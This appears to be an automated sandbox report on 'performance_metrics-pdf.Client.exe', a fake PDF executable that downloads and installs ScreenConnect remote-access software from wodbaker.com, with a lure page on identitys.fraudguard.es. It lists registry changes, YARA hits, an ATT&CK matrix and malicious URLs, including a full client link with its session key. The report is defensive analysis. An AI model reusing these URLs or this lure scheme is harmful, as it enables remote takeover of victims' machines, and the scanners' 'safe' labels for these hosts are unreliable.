Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\flat_officeFontsPreview.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\OFFSYM.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\OFFSYMSL.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\OFFSYMSB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\OFFSYMXL.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\OFFSYML.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\OFFSYMB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\E4P26GMD.T7C\TNP7A9PA.R7Z\ScreenConnect.Windows.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\E4P26GMD.T7C\TNP7A9PA.R7Z\ScreenConnect.WindowsClient.exe VolumeInformation	Jump to behavior

Source: C:\Users\user\Downloads\performance_metrics-pdf.Client.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.16.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.16.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.16.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.16.dr	Binary or memory string: MsMpEng.exe

Source: C:\Users\user\Downloads\performance_metrics-pdf.Client.exe

Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C Blob

Jump to behavior

Source: Yara match	File source: 0000000D.00000002.2401389588.000002969BF16000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2401389588.000002969BCCB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: dfsvc.exe PID: 1228, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\Deployment\E4P26GMD.T7C\TNP7A9PA.R7Z\ScreenConnect.WindowsClient.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Scheduled Task/Job	1 Browser Extensions	2 Process Injection	13 Masquerading	OS Credential Dumping	21 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Modify Registry	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	21 Disable or Modify Tools	Security Account Manager	41 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 DLL Side-Loading	1 DLL Side-Loading	41 Virtualization/Sandbox Evasion	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Process Injection	LSA Secrets	13 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Hidden Users	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Timestomp	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 DLL Side-Loading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://identitys.fraudguard.es/SSA_Updated_Statement	0%	Avira URL Cloud	safe

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\Temp\Deployment\E4P26GMD.T7C\TNP7A9PA.R7Z\ScreenConnect.ClientService.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Deployment\E4P26GMD.T7C\TNP7A9PA.R7Z\ScreenConnect.Windows.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Deployment\E4P26GMD.T7C\TNP7A9PA.R7Z\ScreenConnect.WindowsBackstageShell.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Deployment\E4P26GMD.T7C\TNP7A9PA.R7Z\ScreenConnect.WindowsClient.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Deployment\E4P26GMD.T7C\TNP7A9PA.R7Z\ScreenConnect.WindowsFileManager.exe	0%	ReversingLabs

Source	Detection	Scanner	Label
https://wodbaker.com/Bin/ScreenConnect.WindowsBackstageShell.exe.config#	0%	Avira URL Cloud	safe
https://wodbaker.com/Bin/ScreenConnect.WindowsBackstageShell.exe	0%	Avira URL Cloud	safe
https://wodbaker.com/Bin/ScreenConnect.Client.applicationX	0%	Avira URL Cloud	safe
https://wodbaker.com/Images/Applications.svg	0%	Avira URL Cloud	safe
https://wodbaker.com/Bin/ScreenConnect.WindowsFileMana	0%	Avira URL Cloud	safe
https://wodbaker.com/Bin/ScreenConnect.WindowsBackstageShell.exe72	0%	Avira URL Cloud	safe
https://wodbaker.com/Bin/ScreenConnect.ClientService.exe	0%	Avira URL Cloud	safe
https://wodbaker.com/FavIcon.axd?__Cache=c4c0ddb3-5f8f-43d0-a3ce-98f56bb53f03	0%	Avira URL Cloud	safe
https://wodbaker.com/Bin/ScreenConnect.WindowsBackstageShe	0%	Avira URL Cloud	safe
https://wodbaker.com/App_Themes/DarkTeal/Default.css?r=Page.Background&__Cache=57459	0%	Avira URL Cloud	safe
https://wodbaker.com/Bin/ScreenConnect.Cli	0%	Avira URL Cloud	safe
https://wodbaker.com/Bin/ScreenConnect.Client.applicationI)X	0%	Avira URL Cloud	safe
https://wodbaker.com/Bin/ScreenConnect.WindowsClient.e	0%	Avira URL Cloud	safe
https://wodbaker.com/Images/Extras.svg	0%	Avira URL Cloud	safe
https://wodbaker.com/Bin/ScreenConnect.Client.application?e=Support&y=Guest&h=wodbaker.com&p=8041&s=	0%	Avira URL Cloud	safe
https://wodbaker.com/Services/PageService.ashx/GetLiveData	0%	Avira URL Cloud	safe
https://wodbaker.com	0%	Avira URL Cloud	safe
https://wodbaker.com/Bin/ScreenConnect.Client.manifest	0%	Avira URL Cloud	safe
https://wodbaker.com/Bin/ScreenConnect.WindowsFileManager.exe.config	0%	Avira URL Cloud	safe
https://wodbaker.com/Bin/ScreenConnect.WindowsFileManager.exe.0	0%	Avira URL Cloud	safe
https://wodbaker.com/Bin/ScreenConnect.WindowsBackstageShell.e	0%	Avira URL Cloud	safe
https://wodbaker.com/Scripts/SC.main.ts?ScriptImportType=Classic&__Cache=8032cd77-99f2-48ec-b6b2-b64d99072a97	0%	Avira URL Cloud	safe
https://wodbaker.com/Bin/ScreenConnect.WindowsBackstageShell.exe.config	0%	Avira URL Cloud	safe
https://wodbaker.com/Bin/ScreenConnect.Client.applicationW.NBK	0%	Avira URL Cloud	safe
https://wodbaker.com/Services/AuthenticationService.ashx/TryLogin	0%	Avira URL Cloud	safe
https://wodbaker.com/Script.ashx?__Cache=20305397-d9ff-4ef3-bcce-3da684ec8881	0%	Avira URL Cloud	safe
https://wodbaker.com/Bin/ScreenConnect.ClientServi	0%	Avira URL Cloud	safe
https://wodbaker.com/Bin/ScreenConnect.WindowsClient.exe.configl36	0%	Avira URL Cloud	safe
https://identitys.fraudguard.es/cdn-cgi/challenge-platform/h/g/orchestrate/chl_page/v1?ray=8e6c2fe6acef7ce4	0%	Avira URL Cloud	safe
https://wodbaker.com/Bi	0%	Avira URL Cloud	safe
https://wodbaker.com/Bin/ScreenConnect.Windows.dll	0%	Avira URL Cloud	safe
http://wodbaker.com	0%	Avira URL Cloud	safe
https://wodbaker.com/Bin/ScreenConnect.WindowsClient.exe	0%	Avira URL Cloud	safe
https://wodbaker.com/Images/ActionCenter.svg	0%	Avira URL Cloud	safe
https://wodbaker.com/Bin/ScreenConnect.WindowsBackstageShell.exe.configu	0%	Avira URL Cloud	safe
https://wodbaker.com/App_Themes/DarkTeal/Default.css?__Cache=08be1136-3add-4a73-9d52-6ce1585c7407	0%	Avira URL Cloud	safe
https://wodbaker.com/Bin/ScreenConnect.Client.application?e=Support&y=Guest&h=wodbaker.com&p=8041&s=bc9a796e-2e89-48ba-9484-932c800a4c34&k=BgIAAACkAABSU0ExAAgAAAEAAQCRGfsKd924pjxFZ918B6raAuzUhh5FRZhLBgw%2bjJvsUYth71ehs3TgTqQM6PaX8eVkNGvUMxXG8Iwo3Yod6K6CobzQt7EZ1AAlkXL%2bYOmS9DFgVHpzbpUxfWLxXMZq%2bQd9sOoPpcLYYxLruC0ToReOWtRBa2ElcElIUaUlpGygd25GSnI9gBPIvT10hqUxGb9KOXyXhmMPqp8G4aAKziDVZc9ssP5Xr3q4ueMlULXSCl55xqO4qcrk7mXl5XCBi8meKGjyhnfBJkvYAuPD%2fCQhUFp%2fXDZu3Z2doFFbLgsflcEbGBkAHXo6m08VI%2bzm9rxMremukCyoqbKO9p7HTfW7&r=&i=	0%	Avira URL Cloud	safe
https://wodbaker.com/Bin/ScreenConnect.WindowsClient.exe.config	0%	Avira URL Cloud	safe
https://wodbaker.com/Bin/ScreenConnect.Client.dll	0%	Avira URL Cloud	safe
https://wodbaker.com/Bin/ScreenConnect.Core.dll	0%	Avira URL Cloud	safe
https://identitys.fraudguard.es/favicon.ico	0%	Avira URL Cloud	safe
https://wodbaker.com/Bin/ScreenConnect.WindowsFileManager.exe	0%	Avira URL Cloud	safe
https://identitys.fraudguard.es/cdn-cgi/challenge-platform/h/g/flow/ov1/1250272685:1732310934:lMv4vQNu6SJi5YfzNbAzvoSVeZ0M-LX4x3rf3884x4k/8e6c2fe6acef7ce4/gPy0_aK5Sv4i6hgmZQZgFYktFxMyTYImmaHalcO4lJ0-1732312771-1.2.1.1-tyRTOwQgzteSJ.CJKHu15fEU8XFEd7VK5zZxFl5pi5mwSFejQbpUFM2v6EAb6LAs	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	high
wodbaker.com	217.77.14.110	true	false	high
plus.l.google.com	172.217.17.78	true	false	high
play.google.com	172.217.19.206	true	false	high
challenges.cloudflare.com	104.18.95.41	true	false	high
www.google.com	142.250.181.68	true	false	high
identitys.fraudguard.es	172.67.218.103	true	false	high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.59.35	true	false	high
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	high
apis.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://wodbaker.com/Bin/ScreenConnect.WindowsBackstageShell.exe	false	Avira URL Cloud: safe	unknown
https://wodbaker.com/Bin/ScreenConnect.ClientService.exe	false	Avira URL Cloud: safe	unknown
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=wodbaker.com&oit=3&cp=12&pgcl=7&gs_rn=42&psi=nhUweC4ZZtEIjcIf&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false		high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=wo&oit=1&cp=2&pgcl=7&gs_rn=42&psi=nhUweC4ZZtEIjcIf&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false		high
https://a.nel.cloudflare.com/report/v4?s=XFi4yMB0qfXbAZ1cdvdmwLjHrhkRe%2F%2BpWaQayyeXLbCAnLVbi8IeQV2Fu4uvFS0RKDUBKLKFclLBnuY%2BcRJjCv1rbJ156uT%2BTWaLpA179Kfh%2F9FJKzz64OA7Eda5VzS%2BGcoSLu7D5NYVLQ%3D%3D	false		high
https://wodbaker.com/App_Themes/DarkTeal/Default.css?r=Page.Background&__Cache=57459	false	Avira URL Cloud: safe	unknown
https://wodbaker.com/Images/Applications.svg	false	Avira URL Cloud: safe	unknown
https://wodbaker.com/FavIcon.axd?__Cache=c4c0ddb3-5f8f-43d0-a3ce-98f56bb53f03	false	Avira URL Cloud: safe	unknown
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false		high
https://wodbaker.com/Images/Extras.svg	false	Avira URL Cloud: safe	unknown
https://wodbaker.com/Bin/ScreenConnect.Client.manifest	false	Avira URL Cloud: safe	unknown
https://wodbaker.com/Services/PageService.ashx/GetLiveData	false	Avira URL Cloud: safe	unknown
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=wodbaker.c&oit=1&cp=10&pgcl=7&gs_rn=42&psi=nhUweC4ZZtEIjcIf&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false		high
https://wodbaker.com/	false		unknown
https://wodbaker.com/Bin/ScreenConnect.WindowsFileManager.exe.config	false	Avira URL Cloud: safe	unknown
https://play.google.com/log?format=json&hasfast=true	false		high
https://identitys.fraudguard.es/SSA_Updated_Statement	false		unknown
https://wodbaker.com/Scripts/SC.main.ts?ScriptImportType=Classic&__Cache=8032cd77-99f2-48ec-b6b2-b64d99072a97	false	Avira URL Cloud: safe	unknown
https://a.nel.cloudflare.com/report/v4?s=T84wszUi6UdFUqOb%2FqsHxaaCocd5JngdhnPerUR%2BHmIwL8iUiOqonpOl%2FJzMEgWCplBaxoo%2BxuomQi2bRNq7I9UQpNBE66Mb36kSUdVTNxl17N8YiphRADQ3%2BEEXa8BvAO5u%2Fs8syV3mNw%3D%3D	false		high
https://wodbaker.com/Bin/ScreenConnect.WindowsBackstageShell.exe.config	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/ypud6/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/normal/auto/	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1	false		high
https://a.nel.cloudflare.com/report/v4?s=1rkrcL5WY%2BvhcOWqv%2F0jaSAbpYrkQJkPcFJBYzVUGfxV7AXW4k0PDHW2WZDMJEbipvkmhxfz5w0rgW5fUerdFt3k7Vw8bIizdw%2BVGz8BFtlnwg14LjPKwTM3jWPFnMGWABOTkBS7wD8%2Fbg%3D%3D	false		high
https://wodbaker.com/Services/AuthenticationService.ashx/TryLogin	false	Avira URL Cloud: safe	unknown
https://wodbaker.com/Script.ashx?__Cache=20305397-d9ff-4ef3-bcce-3da684ec8881	false	Avira URL Cloud: safe	unknown
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=wodb&oit=1&cp=4&pgcl=7&gs_rn=42&psi=nhUweC4ZZtEIjcIf&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false		high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=wodbaker.&oit=1&cp=9&pgcl=7&gs_rn=42&psi=nhUweC4ZZtEIjcIf&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false		high
https://identitys.fraudguard.es/cdn-cgi/challenge-platform/h/g/orchestrate/chl_page/v1?ray=8e6c2fe6acef7ce4	false	Avira URL Cloud: safe	unknown
https://wodbaker.com/Bin/ScreenConnect.Windows.dll	false	Avira URL Cloud: safe	unknown
https://wodbaker.com/Bin/ScreenConnect.WindowsClient.exe	false	Avira URL Cloud: safe	unknown
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=wod&oit=1&cp=3&pgcl=7&gs_rn=42&psi=nhUweC4ZZtEIjcIf&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false		high
https://wodbaker.com/Images/ActionCenter.svg	false	Avira URL Cloud: safe	unknown
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=wodbak&oit=1&cp=6&pgcl=7&gs_rn=42&psi=nhUweC4ZZtEIjcIf&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false		high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=wodbaker&oit=1&cp=8&pgcl=7&gs_rn=42&psi=nhUweC4ZZtEIjcIf&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false		high
https://wodbaker.com/Bin/ScreenConnect.Client.application?e=Support&y=Guest&h=wodbaker.com&p=8041&s=bc9a796e-2e89-48ba-9484-932c800a4c34&k=BgIAAACkAABSU0ExAAgAAAEAAQCRGfsKd924pjxFZ918B6raAuzUhh5FRZhLBgw%2bjJvsUYth71ehs3TgTqQM6PaX8eVkNGvUMxXG8Iwo3Yod6K6CobzQt7EZ1AAlkXL%2bYOmS9DFgVHpzbpUxfWLxXMZq%2bQd9sOoPpcLYYxLruC0ToReOWtRBa2ElcElIUaUlpGygd25GSnI9gBPIvT10hqUxGb9KOXyXhmMPqp8G4aAKziDVZc9ssP5Xr3q4ueMlULXSCl55xqO4qcrk7mXl5XCBi8meKGjyhnfBJkvYAuPD%2fCQhUFp%2fXDZu3Z2doFFbLgsflcEbGBkAHXo6m08VI%2bzm9rxMremukCyoqbKO9p7HTfW7&r=&i=	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/i/8e6c301cb8601885/1732312784549/6ubB1azQhHpJs3x	false		high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=wodba&oit=1&cp=5&pgcl=7&gs_rn=42&psi=nhUweC4ZZtEIjcIf&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false		high
https://wodbaker.com/App_Themes/DarkTeal/Default.css?__Cache=08be1136-3add-4a73-9d52-6ce1585c7407	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/pat/8e6c301cb8601885/1732312784550/285a7e71a6f8bfd9c8e73004e15c93ae5513900853cda5f6a8bb8b6d62cfef2e/1N5AD1vB1wqnROd	false		high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=wodbaker.co&oit=3&cp=11&pgcl=7&gs_rn=42&psi=nhUweC4ZZtEIjcIf&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false		high
https://wodbaker.com/Bin/ScreenConnect.WindowsClient.exe.config	false	Avira URL Cloud: safe	unknown
https://wodbaker.com/Bin/ScreenConnect.Client.dll	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/flow/ov1/1273262173:1732310859:Nkfrpjf3B7Qam5FcOxwkEqtk2tn0lLKPVBY9riekCYU/8e6c301cb8601885/3ra4F8H660SaFV65BYrAVfweCTocJBBZ9deH6oRnN3o-1732312780-1.1.1.1-frn48HaLMsj9FtyYIdEPJ7oZzxye6DHI4z1VlNHFZEJKJOvUkdlyiEoiygAsC4OI	false		high
https://identitys.fraudguard.es/favicon.ico	false	Avira URL Cloud: safe	unknown
https://www.google.com/async/newtab_promos	false		high
https://wodbaker.com/Bin/ScreenConnect.WindowsFileManager.exe	false	Avira URL Cloud: safe	unknown
https://identitys.fraudguard.es/cdn-cgi/challenge-platform/h/g/flow/ov1/1250272685:1732310934:lMv4vQNu6SJi5YfzNbAzvoSVeZ0M-LX4x3rf3884x4k/8e6c2fe6acef7ce4/gPy0_aK5Sv4i6hgmZQZgFYktFxMyTYImmaHalcO4lJ0-1732312771-1.2.1.1-tyRTOwQgzteSJ.CJKHu15fEU8XFEd7VK5zZxFl5pi5mwSFejQbpUFM2v6EAb6LAs	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://wodbaker.com/Bin/ScreenConnect.WindowsBackstageShell.exe.config#	dfsvc.exe, 0000000D.00000002.2415067209.00000296B60E3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.broofa.com	chromecache_118.1.dr	false		high
https://wodbaker.com/Bin/ScreenConnect.WindowsFileMana	dfsvc.exe, 0000000D.00000002.2401389588.000002969C0A2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://wodbaker.com/Bin/ScreenConnect.WindowsBackstageShe	dfsvc.exe, 0000000D.00000002.2401389588.000002969C0A2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://wodbaker.com/Bin/ScreenConnect.Client.applicationX	dfsvc.exe, 0000000D.00000002.2401389588.000002969BF16000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers	dfsvc.exe, 0000000D.00000002.2411809495.00000296B5AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1	chromecache_146.1.dr	false		high
http://www.sajatypeworks.com	dfsvc.exe, 0000000D.00000002.2411809495.00000296B5AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://wodbaker.com/Bin/ScreenConnect.WindowsBackstageShell.exe72	dfsvc.exe, 0000000D.00000002.2413653938.00000296B5FB7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.founder.com.cn/cn/cThe	dfsvc.exe, 0000000D.00000002.2411809495.00000296B5AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.digicert	dfsvc.exe, 0000000D.00000002.2401389588.000002969C086000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BD2F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://wodbaker.com/Bin/ScreenConnect.WindowsClient.e	dfsvc.exe, 0000000D.00000002.2401389588.000002969C0A2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://wodbaker.com/Bin/ScreenConnect.Client.application?e=Support&y=Guest&h=wodbaker.com&p=8041&s=	N7AUJNGH.log.13.dr	false	Avira URL Cloud: safe	unknown
http://www.galapagosdesign.com/DPlease	dfsvc.exe, 0000000D.00000002.2411809495.00000296B5AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.urwpp.deDPlease	dfsvc.exe, 0000000D.00000002.2411809495.00000296B5AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.zhongyicts.com.cn	dfsvc.exe, 0000000D.00000002.2411809495.00000296B5AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	dfsvc.exe, 0000000D.00000002.2401389588.000002969BAEA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://wodbaker.com/Bin/ScreenConnect.Cli	dfsvc.exe, 0000000D.00000002.2401389588.000002969C163000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://wodbaker.com/Bin/ScreenConnect.Client.applicationI)X	dfsvc.exe, 0000000D.00000002.2413653938.00000296B5FB7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://wodbaker.com	dfsvc.exe, 0000000D.00000002.2401389588.000002969C163000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BF58000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BAEA000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BF16000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BCCB000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C0A2000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BD4B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
